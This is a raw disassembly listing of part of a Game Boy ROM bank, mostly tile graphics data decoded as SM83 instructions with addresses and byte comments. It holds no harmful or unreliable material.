ld a, [hl] ; $4c56: $7e
ld b, d ; $4c57: $42
ld a, [hl] ; $4c58: $7e
ld b, d ; $4c59: $42
ld a, [hl] ; $4c5a: $7e
ld h, [hl] ; $4c5b: $66
inc a ; $4c5c: $3c
inc a ; $4c5d: $3c
nop ; $4c5e: $00
nop ; $4c5f: $00
nop ; $4c60: $00
nop ; $4c61: $00
jr_006_4c62:
nop ; $4c62: $00
nop ; $4c63: $00
nop ; $4c64: $00
nop ; $4c65: $00
inc bc ; $4c66: $03
nop ; $4c67: $00
inc c ; $4c68: $0c
inc bc ; $4c69: $03
ld [$1107], sp ; $4c6a: $08 $07 $11
ld c, $13 ; $4c6d: $0e $13
inc c ; $4c6f: $0c
nop ; $4c70: $00
nop ; $4c71: $00
nop ; $4c72: $00
nop ; $4c73: $00
nop ; $4c74: $00
nop ; $4c75: $00
nop ; $4c76: $00
nop ; $4c77: $00
rlca ; $4c78: $07
rlca ; $4c79: $07
dec c ; $4c7a: $0d
ld c, $0b ; $4c7b: $0e $0b
inc c ; $4c7d: $0c
rrca ; $4c7e: $0f
ld [$3800], sp ; $4c7f: $08 $00 $38
inc [hl] ; $4c82: $34
ld l, h ; $4c83: $6c
jr z, jr_006_4c62 ; $4c84: $28 $dc
ld e, [hl] ; $4c86: $5e
xor b ; $4c87: $a8
ret z ; $4c88: $c8
cp a ; $4c89: $bf
inc l ; $4c8a: $2c
ret c ; $4c8b: $d8
ld [$1074], sp ; $4c8c: $08 $74 $10
jr c, jr_006_4c91 ; $4c8f: $38 $00
jr_006_4c91:
inc a ; $4c91: $3c
ld h, h ; $4c92: $64
ld a, [hl-] ; $4c93: $3a
ld b, d ; $4c94: $42
cp $1a ; $4c95: $fe $1a
xor $aa ; $4c97: $ee $aa
db $f4 ; $4c99: $f4
ld b, b ; $4c9a: $40
cp l ; $4c9b: $bd
jr_006_4c9c:
inc d ; $4c9c: $14
ld [hl], d ; $4c9d: $72
nop ; $4c9e: $00
nop ; $4c9f: $00
ret nz ; $4ca0: $c0
ret nz ; $4ca1: $c0
jr c, jr_006_4c9c ; $4ca2: $38 $f8
jr_006_4ca4:
ld [bc], a ; $4ca4: $02
ld a, [hl] ; $4ca5: $7e
rst $38 ; $4ca6: $ff
add h ; $4ca7: $84
ld [bc], a ; $4ca8: $02
ld a, [hl] ; $4ca9: $7e
jr c, jr_006_4ca4 ; $4caa: $38 $f8
ret nz ; $4cac: $c0
ret nz ; $4cad: $c0
nop ; $4cae: $00
nop ; $4caf: $00
stop ; $4cb0: $10 $00
jr c, jr_006_4cdc ; $4cb2: $38 $28
db $10 ; $4cb4: $10
jr c, jr_006_4d0b ; $4cb5: $38 $54
ld l, h ; $4cb7: $6c
ld d, h ; $4cb8: $54
ld l, h ; $4cb9: $6c
ld d, h ; $4cba: $54
ld l, h ; $4cbb: $6c
sub d ; $4cbc: $92
xor $92 ; $4cbd: $ee $92
sub $f8 ; $4cbf: $d6 $f8
nop ; $4cc1: $00
and $00 ; $4cc2: $e6 $00
call c, $b901 ; $4cc4: $dc $01 $b9
nop ; $4cc7: $00
or h ; $4cc8: $b4
ld [bc], a ; $4cc9: $02
add b ; $4cca: $80
ld b, $d9 ; $4ccb: $06 $d9
ld bc, $00ed ; $4ccd: $01 $ed $00
rst $38 ; $4cd0: $ff
nop ; $4cd1: $00
ld hl, sp+$00 ; $4cd2: $f8 $00
push hl ; $4cd4: $e5
ld bc, $01e9 ; $4cd5: $01 $e9 $01
sub $06 ; $4cd8: $d6 $06
add $06 ; $4cda: $c6 $06
jr_006_4cdc:
reti ; $4cdc: $d9
ld bc, $00eb ; $4cdd: $01 $eb $00
rst $38 ; $4ce0: $ff
nop ; $4ce1: $00
rst $38 ; $4ce2: $ff
ld a, a ; $4ce3: $7f
rst $38 ; $4ce4: $ff
ld b, c ; $4ce5: $41
rst $38 ; $4ce6: $ff
ld b, c ; $4ce7: $41
rst $38 ; $4ce8: $ff
ld b, c ; $4ce9: $41
rst $38 ; $4cea: $ff
ld b, c ; $4ceb: $41
rst $38 ; $4cec: $ff
ld a, a ; $4ced: $7f
rst $38 ; $4cee: $ff
nop ; $4cef: $00
rst $38 ; $4cf0: $ff
nop ; $4cf1: $00
add b ; $4cf2: $80
nop ; $4cf3: $00
cp [hl] ; $4cf4: $be
ld a, $a2 ; $4cf5: $3e $a2
ld a, $a2 ; $4cf7: $3e $a2
ld a, $be ; $4cf9: $3e $be
ld a, $80 ; $4cfb: $3e $80
nop ; $4cfd: $00
rst $38 ; $4cfe: $ff
nop ; $4cff: $00
rst $38 ; $4d00: $ff
nop ; $4d01: $00
rst $38 ; $4d02: $ff
nop ; $4d03: $00
rst $38 ; $4d04: $ff
nop ; $4d05: $00
jp $c300 ; $4d06: $c3 $00 $c3
nop ; $4d09: $00
rst $38 ; $4d0a: $ff
jr_006_4d0b:
nop ; $4d0b: $00
rst $38 ; $4d0c: $ff
nop ; $4d0d: $00
rst $38 ; $4d0e: $ff
nop ; $4d0f: $00
rst $30 ; $4d10: $f7
nop ; $4d11: $00
db $eb ; $4d12: $eb
nop ; $4d13: $00
db $eb ; $4d14: $eb
nop ; $4d15: $00
push de ; $4d16: $d5
ld [$00dd], sp ; $4d17: $08 $dd $00
ret ; $4d1a: $c9
inc d ; $4d1b: $14
xor d ; $4d1c: $aa
nop ; $4d1d: $00
add b ; $4d1e: $80
nop ; $4d1f: $00
rst $38 ; $4d20: $ff
nop ; $4d21: $00
add e ; $4d22: $83
nop ; $4d23: $00
sbc c ; $4d24: $99
nop ; $4d25: $00
sbc c ; $4d26: $99
nop ; $4d27: $00
sbc c ; $4d28: $99
nop ; $4d29: $00
sbc c ; $4d2a: $99
nop ; $4d2b: $00
add c ; $4d2c: $81
nop ; $4d2d: $00
rst $38 ; $4d2e: $ff
nop ; $4d2f: $00
rst $38 ; $4d30: $ff
nop ; $4d31: $00
rst $00 ; $4d32: $c7
nop ; $4d33: $00
rst $20 ; $4d34: $e7
nop ; $4d35: $00
rst $20 ; $4d36: $e7
nop ; $4d37: $00
rst $20 ; $4d38: $e7
nop ; $4d39: $00
rst $20 ; $4d3a: $e7
nop ; $4d3b: $00
rst $20 ; $4d3c: $e7
nop ; $4d3d: $00
rst $38 ; $4d3e: $ff
nop ; $4d3f: $00
rst $38 ; $4d40: $ff
nop ; $4d41: $00
add c ; $4d42: $81
nop ; $4d43: $00
ld sp, hl ; $4d44: $f9
nop ; $4d45: $00
add c ; $4d46: $81
nop ; $4d47: $00
sbc a ; $4d48: $9f
nop ; $4d49: $00
sbc c ; $4d4a: $99
nop ; $4d4b: $00
add c ; $4d4c: $81
nop ; $4d4d: $00
rst $38 ; $4d4e: $ff
nop ; $4d4f: $00
rst $38 ; $4d50: $ff
nop ; $4d51: $00
add e ; $4d52: $83
nop ; $4d53: $00
di ; $4d54: $f3
nop ; $4d55: $00
pop bc ; $4d56: $c1
nop ; $4d57: $00
pop af ; $4d58: $f1
nop ; $4d59: $00
or c ; $4d5a: $b1
nop ; $4d5b: $00
add c ; $4d5c: $81
nop ; $4d5d: $00
rst $38 ; $4d5e: $ff
nop ; $4d5f: $00
rst $38 ; $4d60: $ff
nop ; $4d61: $00
add e ; $4d62: $83
nop ; $4d63: $00
or e ; $4d64: $b3
nop ; $4d65: $00
or e ; $4d66: $b3
nop ; $4d67: $00
add c ; $4d68: $81
nop ; $4d69: $00
db $e3 ; $4d6a: $e3
nop ; $4d6b: $00
db $e3 ; $4d6c: $e3
nop ; $4d6d: $00
rst $38 ; $4d6e: $ff
nop ; $4d6f: $00
rst $38 ; $4d70: $ff
nop ; $4d71: $00
add e ; $4d72: $83
nop ; $4d73: $00
cp a ; $4d74: $bf
nop ; $4d75: $00
add c ; $4d76: $81
nop ; $4d77: $00
pop af ; $4d78: $f1
nop ; $4d79: $00
or c ; $4d7a: $b1
nop ; $4d7b: $00
add c ; $4d7c: $81
nop ; $4d7d: $00
rst $38 ; $4d7e: $ff
nop ; $4d7f: $00
rst $38 ; $4d80: $ff
nop ; $4d81: $00
add e ; $4d82: $83
nop ; $4d83: $00
cp a ; $4d84: $bf
nop ; $4d85: $00
add c ; $4d86: $81
nop ; $4d87: $00
sbc c ; $4d88: $99
nop ; $4d89: $00
sbc c ; $4d8a: $99
nop ; $4d8b: $00
add c ; $4d8c: $81
nop ; $4d8d: $00
rst $38 ; $4d8e: $ff
nop ; $4d8f: $00
rst $38 ; $4d90: $ff
nop ; $4d91: $00
add e ; $4d92: $83
nop ; $4d93: $00
di ; $4d94: $f3
nop ; $4d95: $00
di ; $4d96: $f3
nop ; $4d97: $00
db $e3 ; $4d98: $e3
nop ; $4d99: $00
db $e3 ; $4d9a: $e3
nop ; $4d9b: $00
db $e3 ; $4d9c: $e3
nop ; $4d9d: $00
rst $38 ; $4d9e: $ff
nop ; $4d9f: $00
rst $38 ; $4da0: $ff
nop ; $4da1: $00
add e ; $4da2: $83
nop ; $4da3: $00
or e ; $4da4: $b3
nop ; $4da5: $00
add c ; $4da6: $81
nop ; $4da7: $00
or c ; $4da8: $b1
nop ; $4da9: $00
or c ; $4daa: $b1
nop ; $4dab: $00
add c ; $4dac: $81
nop ; $4dad: $00
rst $38 ; $4dae: $ff
nop ; $4daf: $00
rst $38 ; $4db0: $ff
nop ; $4db1: $00
add c ; $4db2: $81
nop ; $4db3: $00
cp c ; $4db4: $b9
nop ; $4db5: $00
add c ; $4db6: $81
nop ; $4db7: $00
pop af ; $4db8: $f1
nop ; $4db9: $00
pop af ; $4dba: $f1
nop ; $4dbb: $00
pop af ; $4dbc: $f1
nop ; $4dbd: $00
rst $38 ; $4dbe: $ff
Jump_006_4dbf:
nop ; $4dbf: $00
rst $38 ; $4dc0: $ff
nop ; $4dc1: $00
add c ; $4dc2: $81
nop ; $4dc3: $00
sbc a ; $4dc4: $9f
nop ; $4dc5: $00
add e ; $4dc6: $83
nop ; $4dc7: $00
sbc a ; $4dc8: $9f
nop ; $4dc9: $00
add c ; $4dca: $81
nop ; $4dcb: $00
rst $38 ; $4dcc: $ff
ld a, [hl] ; $4dcd: $7e
rst $38 ; $4dce: $ff
nop ; $4dcf: $00
dec h ; $4dd0: $25
ld a, [hl+] ; $4dd1: $2a
nop ; $4dd2: $00
ld l, a ; $4dd3: $6f
daa ; $4dd4: $27
ret z ; $4dd5: $c8
ld b, h ; $4dd6: $44
xor b ; $4dd7: $a8
ld b, a ; $4dd8: $47
xor b ; $4dd9: $a8
inc b ; $4dda: $04
add sp, $04 ; $4ddb: $e8 $04
jp hl ; $4ddd: $e9
add a ; $4dde: $87
add sp, -$20 ; $4ddf: $e8 $e0
inc d ; $4de1: $14
nop ; $4de2: $00
or $c4 ; $4de3: $f6 $c4
inc de ; $4de5: $13
ld [bc], a ; $4de6: $02
dec d ; $4de7: $15
add d ; $4de8: $82
dec [hl] ; $4de9: $35
nop ; $4dea: $00
scf ; $4deb: $37
nop ; $4dec: $00
rst $30 ; $4ded: $f7
pop bc ; $4dee: $c1
rla ; $4def: $17
ret nz ; $4df0: $c0
add sp, $6f ; $4df1: $e8 $6f
ld l, a ; $4df3: $6f
inc hl ; $4df4: $23
cpl ; $4df5: $2f
nop ; $4df6: $00
nop ; $4df7: $00
nop ; $4df8: $00
ld a, [bc] ; $4df9: $0a
ld a, [bc] ; $4dfa: $0a
ld a, [bc] ; $4dfb: $0a
nop ; $4dfc: $00
ld a, a ; $4dfd: $7f
ld a, a ; $4dfe: $7f
ld a, a ; $4dff: $7f
inc bc ; $4e00: $03
rla ; $4e01: $17
or $f6 ; $4e02: $f6 $f6
db $f4 ; $4e04: $f4
db $f4 ; $4e05: $f4
nop ; $4e06: $00
nop ; $4e07: $00
nop ; $4e08: $00
ld d, b ; $4e09: $50
ld d, b ; $4e0a: $50
ld d, b ; $4e0b: $50
nop ; $4e0c: $00
cp $fe ; $4e0d: $fe $fe
cp $ff ; $4e0f: $fe $ff
nop ; $4e11: $00
rst $38 ; $4e12: $ff
nop ; $4e13: $00
rst $38 ; $4e14: $ff
nop ; $4e15: $00
rst $38 ; $4e16: $ff
nop ; $4e17: $00
rst $38 ; $4e18: $ff
nop ; $4e19: $00
rst $38 ; $4e1a: $ff
nop ; $4e1b: $00
rst $38 ; $4e1c: $ff
nop ; $4e1d: $00
rst $38 ; $4e1e: $ff
nop ; $4e1f: $00
nop ; $4e20: $00
nop ; $4e21: $00
nop ; $4e22: $00
nop ; $4e23: $00
nop ; $4e24: $00
nop ; $4e25: $00
inc e ; $4e26: $1c
inc e ; $4e27: $1c
ccf ; $4e28: $3f
inc hl ; $4e29: $23
ld h, c ; $4e2a: $61
ld e, a ; $4e2b: $5f
ld b, b ; $4e2c: $40
ld a, a ; $4e2d: $7f
ld b, c ; $4e2e: $41
ld a, [hl] ; $4e2f: $7e
ld a, $3e ; $4e30: $3e $3e
ld c, c ; $4e32: $49
ld [hl], a ; $4e33: $77
sbc h ; $4e34: $9c
rst $30 ; $4e35: $f7
and d ; $4e36: $a2
db $dd ; $4e37: $dd
ld [hl], $c9 ; $4e38: $36 $c9
ld a, $e3 ; $4e3a: $3e $e3
db $dd ; $4e3c: $dd
rst $30 ; $4e3d: $f7
or [hl] ; $4e3e: $b6
rst $38 ; $4e3f: $ff
nop ; $4e40: $00
nop ; $4e41: $00
nop ; $4e42: $00
nop ; $4e43: $00
add b ; $4e44: $80
add b ; $4e45: $80
cp h ; $4e46: $bc
cp h ; $4e47: $bc
jr_006_4e48:
ld a, [hl] ; $4e48: $7e
ld [c], a ; $4e49: $e2
ld b, e ; $4e4a: $43
db $fd ; $4e4b: $fd
add c ; $4e4c: $81
rst $38 ; $4e4d: $ff
pop bc ; $4e4e: $c1
cp a ; $4e4f: $bf
nop ; $4e50: $00
nop ; $4e51: $00
nop ; $4e52: $00
nop ; $4e53: $00
rlca ; $4e54: $07
jr_006_4e55:
rlca ; $4e55: $07
ld a, [bc] ; $4e56: $0a
dec c ; $4e57: $0d
ld e, $1f ; $4e58: $1e $1f
ld hl, $463f ; $4e5a: $21 $3f $46
ld a, c ; $4e5d: $79
ld b, c ; $4e5e: $41
ld a, [hl] ; $4e5f: $7e
nop ; $4e60: $00
nop ; $4e61: $00
nop ; $4e62: $00
nop ; $4e63: $00
ret nz ; $4e64: $c0
ret nz ; $4e65: $c0
jr nz, jr_006_4e48 ; $4e66: $20 $e0
db $10 ; $4e68: $10
ldh a, [$28] ; $4e69: $f0 $28
ret c ; $4e6b: $d8
cp b ; $4e6c: $b8
ret z ; $4e6d: $c8
cp b ; $4e6e: $b8
add sp, $00 ; $4e6f: $e8 $00
rlca ; $4e71: $07
rlca ; $4e72: $07
rra ; $4e73: $1f
rlca ; $4e74: $07
daa ; $4e75: $27
dec c ; $4e76: $0d
ld c, a ; $4e77: $4f
db $10 ; $4e78: $10
ld e, a ; $4e79: $5f
ld [hl], a ; $4e7a: $77
rst $38 ; $4e7b: $ff
ld h, e ; $4e7c: $63
cp $63 ; $4e7d: $fe $63
rst $38 ; $4e7f: $ff
nop ; $4e80: $00
nop ; $4e81: $00
nop ; $4e82: $00
nop ; $4e83: $00
ldh [$e0], a ; $4e84: $e0 $e0
ld d, b ; $4e86: $50
or b ; $4e87: $b0
ld a, b ; $4e88: $78
ld hl, sp-$7c ; $4e89: $f8 $84
db $fc ; $4e8b: $fc
ld [de], a ; $4e8c: $12
xor $0a ; $4e8d: $ee $0a
or $00 ; $4e8f: $f6 $00
ldh [rP1], a ; $4e91: $e0 $00
jr jr_006_4e55 ; $4e93: $18 $c0
call nz, $f2b0 ; $4e95: $c4 $b0 $f2
ret z ; $4e98: $c8
ld a, [$f948] ; $4e99: $fa $48 $f9
inc h ; $4e9c: $24
db $dd ; $4e9d: $dd
call nc, Call_000_002d ; $4e9e: $d4 $2d $00
nop ; $4ea1: $00
nop ; $4ea2: $00
nop ; $4ea3: $00
inc a ; $4ea4: $3c
inc a ; $4ea5: $3c
inc h ; $4ea6: $24
inc a ; $4ea7: $3c
ld a, [hl] ; $4ea8: $7e
ld a, [hl] ; $4ea9: $7e
ld d, d ; $4eaa: $52
ld l, [hl] ; $4eab: $6e
ld a, [hl] ; $4eac: $7e
ld a, [hl] ; $4ead: $7e
nop ; $4eae: $00
nop ; $4eaf: $00
nop ; $4eb0: $00
nop ; $4eb1: $00
ld [hl], b ; $4eb2: $70
ld [hl], b ; $4eb3: $70
ld e, h ; $4eb4: $5c
ld a, h ; $4eb5: $7c
ld [hl], h ; $4eb6: $74
ld e, h ; $4eb7: $5c
ld d, h ; $4eb8: $54
ld a, h ; $4eb9: $7c
ld e, h ; $4eba: $5c
ld a, h ; $4ebb: $7c
ld [hl], b ; $4ebc: $70
ld [hl], b ; $4ebd: $70
nop ; $4ebe: $00
nop ; $4ebf: $00
nop ; $4ec0: $00
nop ; $4ec1: $00
rrca ; $4ec2: $0f
rrca ; $4ec3: $0f
jr c, jr_006_4efd ; $4ec4: $38 $37
ld d, b ; $4ec6: $50
ld l, a ; $4ec7: $6f
sbc [hl] ; $4ec8: $9e
rst $38 ; $4ec9: $ff
and c ; $4eca: $a1
rst $38 ; $4ecb: $ff
call nz, $e0fb ; $4ecc: $c4 $fb $e0
rst $18 ; $4ecf: $df
nop ; $4ed0: $00
nop ; $4ed1: $00
nop ; $4ed2: $00
nop ; $4ed3: $00
add b ; $4ed4: $80
add b ; $4ed5: $80
ld b, b ; $4ed6: $40
ret nz ; $4ed7: $c0
and b ; $4ed8: $a0
ld h, b ; $4ed9: $60
ldh [rNR41], a ; $4eda: $e0 $20
ldh [$a0], a ; $4edc: $e0 $a0
and b ; $4ede: $a0
ldh [$ae], a ; $4edf: $e0 $ae
xor $db ; $4ee1: $ee $db
push de ; $4ee3: $d5
ld [hl], c ; $4ee4: $71
rst $38 ; $4ee5: $ff
pop af ; $4ee6: $f1
rst $18 ; $4ee7: $df
ld c, c ; $4ee8: $49
rst $38 ; $4ee9: $ff
adc [hl] ; $4eea: $8e
cp $f0 ; $4eeb: $fe $f0
ldh a, [rP1] ; $4eed: $f0 $00
nop ; $4eef: $00
nop ; $4ef0: $00
nop ; $4ef1: $00
rrca ; $4ef2: $0f
rrca ; $4ef3: $0f
jr c, jr_006_4f2d ; $4ef4: $38 $37
ld d, b ; $4ef6: $50
ld l, a ; $4ef7: $6f
ld a, h ; $4ef8: $7c
ld a, a ; $4ef9: $7f
add d ; $4efa: $82
rst $38 ; $4efb: $ff
push hl ; $4efc: $e5
jr_006_4efd:
ei ; $4efd: $fb
ld [hl+], a ; $4efe: $22
db $fd ; $4eff: $fd
nop ; $4f00: $00
nop ; $4f01: $00
nop ; $4f02: $00
nop ; $4f03: $00
inc bc ; $4f04: $03
inc bc ; $4f05: $03
ld c, $0d ; $4f06: $0e $0d
inc d ; $4f08: $14
dec de ; $4f09: $1b
rra ; $4f0a: $1f
rra ; $4f0b: $1f
jr nz, jr_006_4f4d ; $4f0c: $20 $3f
ld bc, $ff3e ; $4f0e: $01 $3e $ff
nop ; $4f11: $00
pop af ; $4f12: $f1
nop ; $4f13: $00
pop af ; $4f14: $f1
nop ; $4f15: $00
pop af ; $4f16: $f1
nop ; $4f17: $00
pop af ; $4f18: $f1
nop ; $4f19: $00
add c ; $4f1a: $81
nop ; $4f1b: $00
add c ; $4f1c: $81
ld a, [hl] ; $4f1d: $7e
rst $38 ; $4f1e: $ff
nop ; $4f1f: $00
ld a, e ; $4f20: $7b
ld a, l ; $4f21: $7d
rlca ; $4f22: $07
ccf ; $4f23: $3f
dec sp ; $4f24: $3b
ccf ; $4f25: $3f
add hl, hl ; $4f26: $29
ccf ; $4f27: $3f
ld sp, $323f ; $4f28: $31 $3f $32
ld l, $32 ; $4f2b: $2e $32
jr_006_4f2d:
ld l, $3a ; $4f2d: $2e $3a
ld a, $5d ; $4f2f: $3e $5d
cp [hl] ; $4f31: $be
ld [hl+], a ; $4f32: $22
db $dd ; $4f33: $dd
nop ; $4f34: $00
rst $38 ; $4f35: $ff
pop bc ; $4f36: $c1
rst $38 ; $4f37: $ff
rst $30 ; $4f38: $f7
ld a, a ; $4f39: $7f
db $dd ; $4f3a: $dd
cp [hl] ; $4f3b: $be
db $dd ; $4f3c: $dd
and d ; $4f3d: $a2
sbc h ; $4f3e: $9c
db $e3 ; $4f3f: $e3
ld l, a ; $4f40: $6f
rst $18 ; $4f41: $df
ld [hl], b ; $4f42: $70
cp $6e ; $4f43: $fe $6e
cp $ca ; $4f45: $fe $ca
cp $c6 ; $4f47: $fe $c6
ld a, [hl] ; $4f49: $7e
and d ; $4f4a: $a2
cp [hl] ; $4f4b: $be
and a ; $4f4c: $a7
jr_006_4f4d:
cp l ; $4f4d: $bd
sbc c ; $4f4e: $99
sbc l ; $4f4f: $9d
ld b, b ; $4f50: $40
ld a, a ; $4f51: $7f
ld a, [hl] ; $4f52: $7e
ld a, a ; $4f53: $7f
ld [hl+], a ; $4f54: $22
ld a, $3f ; $4f55: $3e $3f
ccf ; $4f57: $3f
dec [hl] ; $4f58: $35
ld a, $3c ; $4f59: $3e $3c
dec hl ; $4f5b: $2b
inc a ; $4f5c: $3c
cpl ; $4f5d: $2f
ld e, $17 ; $4f5e: $1e $17
ld e, b ; $4f60: $58
ld hl, sp+$68 ; $4f61: $f8 $68
ld hl, sp+$70 ; $4f63: $f8 $70
ld d, b ; $4f65: $50
sub b ; $4f66: $90
ldh [$d4], a ; $4f67: $e0 $d4
db $e4 ; $4f69: $e4
sbc $7a ; $4f6a: $de $7a
ld [hl], e ; $4f6c: $73
db $fd ; $4f6d: $fd
cp c ; $4f6e: $b9
sbc a ; $4f6f: $9f
ld a, [de] ; $4f70: $1a
rra ; $4f71: $1f
ld d, $1f ; $4f72: $16 $1f
ld c, $0a ; $4f74: $0e $0a
add hl, sp ; $4f76: $39
scf ; $4f77: $37
ld c, e ; $4f78: $4b
ld a, a ; $4f79: $7f
rst $18 ; $4f7a: $df
xor [hl] ; $4f7b: $ae
or $db ; $4f7c: $f6 $db
jr_006_4f7e:
db $e3 ; $4f7e: $e3
rst $38 ; $4f7f: $ff
ld [bc], a ; $4f80: $02
cp $7e ; $4f81: $fe $7e
cp $44 ; $4f83: $fe $44
ld a, h ; $4f85: $7c
db $fc ; $4f86: $fc
db $fc ; $4f87: $fc
sbc b ; $4f88: $98
ld a, b ; $4f89: $78
jr z, @-$06 ; $4f8a: $28 $f8
jr jr_006_4f7e ; $4f8c: $18 $f0
ld a, b ; $4f8e: $78
add sp, $00 ; $4f8f: $e8 $00
nop ; $4f91: $00
rlca ; $4f92: $07
rlca ; $4f93: $07
add hl, de ; $4f94: $19
rra ; $4f95: $1f
inc hl ; $4f96: $23
dec a ; $4f97: $3d
ld a, a ; $4f98: $7f
ld e, l ; $4f99: $5d
ld [hl], e ; $4f9a: $73
ld l, a ; $4f9b: $6f
rst $08 ; $4f9c: $cf
cp $d6 ; $4f9d: $fe $d6
cp l ; $4f9f: $bd
nop ; $4fa0: $00
nop ; $4fa1: $00
nop ; $4fa2: $00
nop ; $4fa3: $00
ld [$e8f8], sp ; $4fa4: $08 $f8 $e8
ld hl, sp+$78 ; $4fa7: $f8 $78
ret c ; $4fa9: $d8
ret z ; $4faa: $c8
ld hl, sp+$68 ; $4fab: $f8 $68
ld hl, sp-$10 ; $4fad: $f8 $f0
or b ; $4faf: $b0
ld bc, $0101 ; $4fb0: $01 $01 $01
ld bc, $0203 ; $4fb3: $01 $03 $02
inc bc ; $4fb6: $03
inc bc ; $4fb7: $03
dec b ; $4fb8: $05
rlca ; $4fb9: $07
ld b, $05 ; $4fba: $06 $05
inc bc ; $4fbc: $03
ld [bc], a ; $4fbd: $02
ld bc, $6101 ; $4fbe: $01 $01 $61
rst $18 ; $4fc1: $df
ld [hl], a ; $4fc2: $77
xor $f4 ; $4fc3: $ee $f4
cp a ; $4fc5: $bf
ld e, l ; $4fc6: $5d
rst $38 ; $4fc7: $ff
rst $38 ; $4fc8: $ff
cp a ; $4fc9: $bf
xor $97 ; $4fca: $ee $97
sub a ; $4fcc: $97
db $eb ; $4fcd: $eb
db $e3 ; $4fce: $e3
sbc l ; $4fcf: $9d
ret nz ; $4fd0: $c0
ret nz ; $4fd1: $c0
ld e, h ; $4fd2: $5c
call c, $fee2 ; $4fd3: $dc $e2 $fe
cp c ; $4fd6: $b9
rst $18 ; $4fd7: $df
dec e ; $4fd8: $1d
rst $30 ; $4fd9: $f7
ld d, $fe ; $4fda: $16 $fe
xor h ; $4fdc: $ac
db $fc ; $4fdd: $fc
ld [hl], b ; $4fde: $70
ld [hl], b ; $4fdf: $70
rlca ; $4fe0: $07
ld b, $0e ; $4fe1: $06 $0e
dec bc ; $4fe3: $0b
add hl, de ; $4fe4: $19
rla ; $4fe5: $17
ld [de], a ; $4fe6: $12
rra ; $4fe7: $1f
ld a, [bc] ; $4fe8: $0a
rrca ; $4fe9: $0f
ld b, $07 ; $4fea: $06 $07
ld bc, $0001 ; $4fec: $01 $01 $00
nop ; $4fef: $00
ld [de], a ; $4ff0: $12
db $fd ; $4ff1: $fd
ld hl, sp-$01 ; $4ff2: $f8 $ff
ld sp, hl ; $4ff4: $f9
ld e, a ; $4ff5: $5f
ld c, [hl] ; $4ff6: $4e
rst $38 ; $4ff7: $ff
sbc l ; $4ff8: $9d
rst $30 ; $4ff9: $f7
adc [hl] ; $4ffa: $8e
ei ; $4ffb: $fb
ld a, a ; $4ffc: $7f
ld sp, hl ; $4ffd: $f9
db $eb ; $4ffe: $eb
sub l ; $4fff: $95
ld b, b ; $5000: $40
ld a, a ; $5001: $7f
ld e, [hl] ; $5002: $5e
ld a, a ; $5003: $7f
ld [hl], l ; $5004: $75
ld a, e ; $5005: $7b
cpl ; $5006: $2f
ccf ; $5007: $3f
dec sp ; $5008: $3b
dec a ; $5009: $3d
ld [de], a ; $500a: $12
rra ; $500b: $1f
add hl, de ; $500c: $19
rra ; $500d: $1f
rrca ; $500e: $0f
rrca ; $500f: $0f
jr_006_5010:
cp b ; $5010: $b8
ld a, b ; $5011: $78
xor b ; $5012: $a8
ld a, b ; $5013: $78
ldh a, [$f0] ; $5014: $f0 $f0
jr_006_5016:
jr z, jr_006_5010 ; $5016: $28 $f8
ld d, h ; $5018: $54
db $fc ; $5019: $fc
ld d, h ; $501a: $54
db $fc ; $501b: $fc
jr z, jr_006_5016 ; $501c: $28 $f8
ldh a, [$f0] ; $501e: $f0 $f0
inc a ; $5020: $3c
inc a ; $5021: $3c
ld e, a ; $5022: $5f
ld a, a ; $5023: $7f
adc $bb ; $5024: $ce $bb
sub $bb ; $5026: $d6 $bb
ld d, [hl] ; $5028: $56
ld a, a ; $5029: $7f
ld a, [hl] ; $502a: $7e
ld d, a ; $502b: $57
ld a, [hl] ; $502c: $7e
ld a, a ; $502d: $7f
ld d, h ; $502e: $54
ld l, l ; $502f: $6d
db $e3 ; $5030: $e3
sbc h ; $5031: $9c
ld l, e ; $5032: $6b
push de ; $5033: $d5
ld a, a ; $5034: $7f
db $e3 ; $5035: $e3
ld a, a ; $5036: $7f
or [hl] ; $5037: $b6
ld a, $dd ; $5038: $3e $dd
ld [hl], $d5 ; $503a: $36 $d5
jr_006_503c:
ld [hl], a ; $503c: $77
push de ; $503d: $d5
ld [hl], a ; $503e: $77
sub h ; $503f: $94
sub c ; $5040: $91
sbc a ; $5041: $9f
ld d, c ; $5042: $51
rst $18 ; $5043: $df
ld sp, $2eff ; $5044: $31 $ff $2e
ld [$fd33], a ; $5047: $ea $33 $fd
inc hl ; $504a: $23
db $fd ; $504b: $fd
add hl, hl ; $504c: $29
rst $38 ; $504d: $ff
ld [hl-], a ; $504e: $32
cp $1b ; $504f: $fe $1b
dec d ; $5051: $15
inc c ; $5052: $0c
dec bc ; $5053: $0b
rrca ; $5054: $0f
ld [$161f], sp ; $5055: $08 $1f $16
add hl, de ; $5058: $19
rla ; $5059: $17
add hl, de ; $505a: $19
rra ; $505b: $1f
db $10 ; $505c: $10
rra ; $505d: $1f
ld [$ef0f], sp ; $505e: $08 $0f $ef
cp a ; $5061: $bf
xor c ; $5062: $a9
cp a ; $5063: $bf
db $dd ; $5064: $dd
rst $30 ; $5065: $f7
rst $38 ; $5066: $ff
ld a, a ; $5067: $7f
and b ; $5068: $a0
ld h, b ; $5069: $60
jr nc, jr_006_503c ; $506a: $30 $d0
cp b ; $506c: $b8
ret z ; $506d: $c8
cp b ; $506e: $b8
ret z ; $506f: $c8
or a ; $5070: $b7
db $fd ; $5071: $fd
cp e ; $5072: $bb
cp $ab ; $5073: $fe $ab
ei ; $5075: $fb
di ; $5076: $f3
ld a, [c] ; $5077: $f2
dec b ; $5078: $05
ld b, $0c ; $5079: $06 $0c
dec bc ; $507b: $0b
dec e ; $507c: $1d
inc de ; $507d: $13
rra ; $507e: $1f
ld de, $c8f8 ; $507f: $11 $f8 $c8
or b ; $5082: $b0
ret nc ; $5083: $d0
ldh a, [rNR10] ; $5084: $f0 $10
ld hl, sp+$68 ; $5086: $f8 $68
sbc b ; $5088: $98
add sp, -$68 ; $5089: $e8 $98
ld hl, sp+$08 ; $508b: $f8 $08
ld hl, sp+$10 ; $508d: $f8 $10
ldh a, [$a8] ; $508f: $f0 $a8
rst $38 ; $5091: $ff
xor b ; $5092: $a8
rst $38 ; $5093: $ff
ld d, h ; $5094: $54
ld a, a ; $5095: $7f
ccf ; $5096: $3f
ccf ; $5097: $3f
scf ; $5098: $37
cpl ; $5099: $2f
dec sp ; $509a: $3b
inc h ; $509b: $24
inc e ; $509c: $1c
inc de ; $509d: $13
rra ; $509e: $1f
db $10 ; $509f: $10
and b ; $50a0: $a0
ldh [rSVBK], a ; $50a1: $e0 $70
ldh a, [$f0] ; $50a3: $f0 $f0
ret nc ; $50a5: $d0
sbc b ; $50a6: $98
